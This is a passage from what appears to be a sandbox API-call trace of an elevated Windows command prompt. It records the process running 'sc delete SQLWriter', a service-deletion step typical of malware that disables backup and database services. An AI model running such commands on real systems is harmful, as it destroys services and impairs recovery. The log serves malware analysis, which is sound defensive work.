Size=0x3a) returned 0x4baa40 [0069.852] GetProcessHeap () returned 0x4a0000 [0069.852] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0069.852] SetErrorMode (uMode=0x0) returned 0x1 [0069.852] SetErrorMode (uMode=0x1) returned 0x0 [0069.852] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.852] SetErrorMode (uMode=0x1) returned 0x1 [0069.852] GetProcessHeap () returned 0x4a0000 [0069.852] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0069.852] GetProcessHeap () returned 0x4a0000 [0069.852] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0069.852] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.852] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.852] GetProcessHeap () returned 0x4a0000 [0069.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.853] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.853] GetProcessHeap () returned 0x4a0000 [0069.853] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.853] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.853] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.854] GetLastError () returned 0x2 [0069.854] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.854] GetLastError () returned 0x2 [0069.854] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.854] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.854] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.854] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.854] GetLastError () returned 0x2 [0069.854] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.855] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.855] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.855] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.855] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.855] GetProcessHeap () returned 0x4a0000 [0069.855] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.855] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.855] GetProcessHeap () returned 0x4a0000 [0069.855] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa0) returned 0x4b9180 [0069.855] GetProcessHeap () returned 0x4a0000 [0069.855] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa0 [0069.855] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLWriter") returned 1 [0069.856] GetProcessHeap () returned 0x4a0000 [0069.856] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.856] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.856] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.856] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.856] GetProcessHeap () returned 0x4a0000 [0069.856] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.856] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.857] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.858] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.858] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.858] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.858] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.858] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.858] GetProcessHeap () returned 0x4a0000 [0069.858] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.858] GetProcessHeap () returned 0x4a0000 [0069.858] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.858] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLWriter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLWriter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SQLWriter", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x9e4, dwThreadId=0x9f4)) returned 1 [0069.862] CloseHandle (hObject=0x54) returned 1 [0069.862] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.862] GetProcessHeap () returned 0x4a0000 [0069.862] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.862] GetEnvironmentStringsW () returned 0x4c1b10* [0069.862] GetProcessHeap () returned 0x4a0000 [0069.862] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.862] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.862] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.862] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.862] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0070.017] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.017] CloseHandle (hObject=0x50) returned 1 [0070.017] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.018] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.018] GetProcessHeap () returned 0x4a0000 [0070.018] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.018] GetEnvironmentStringsW () returned 0x4c1b10* [0070.018] GetProcessHeap () returned 0x4a0000 [0070.018] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.018] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.018] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.018] GetProcessHeap () returned 0x4a0000 [0070.018] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.018] GetEnvironmentStringsW () returned 0x4c1b10* [0070.018] GetProcessHeap () returned 0x4a0000 [0070.018] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.018] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.018] GetProcessHeap () returned 0x4a0000 [0070.018] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.018] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.018] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.019] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.019] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.019] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.019] GetConsoleOutputCP () returned 0x1b5 [0070.019] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.020] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.020] GetProcessHeap () returned 0x4a0000 [0070.020] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.020] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.020] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.020] GetFileType (hFile=0x120) returned 0x3 [0070.020] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.021] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.021] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.021] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0070.021] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.021] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.021] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.021] GetFileType (hFile=0x120) returned 0x3 [0070.021] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.021] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.021] GetFileType (hFile=0xb8) returned 0x3 [0070.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLWriter\nTRY130\ne\n") returned 1 [0070.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLWriter\nTRY130\ne\n") returned 1 [0070.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SQLWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SQLWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SQLWriter\nTRY130\ne\n") returned 1 [0070.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, 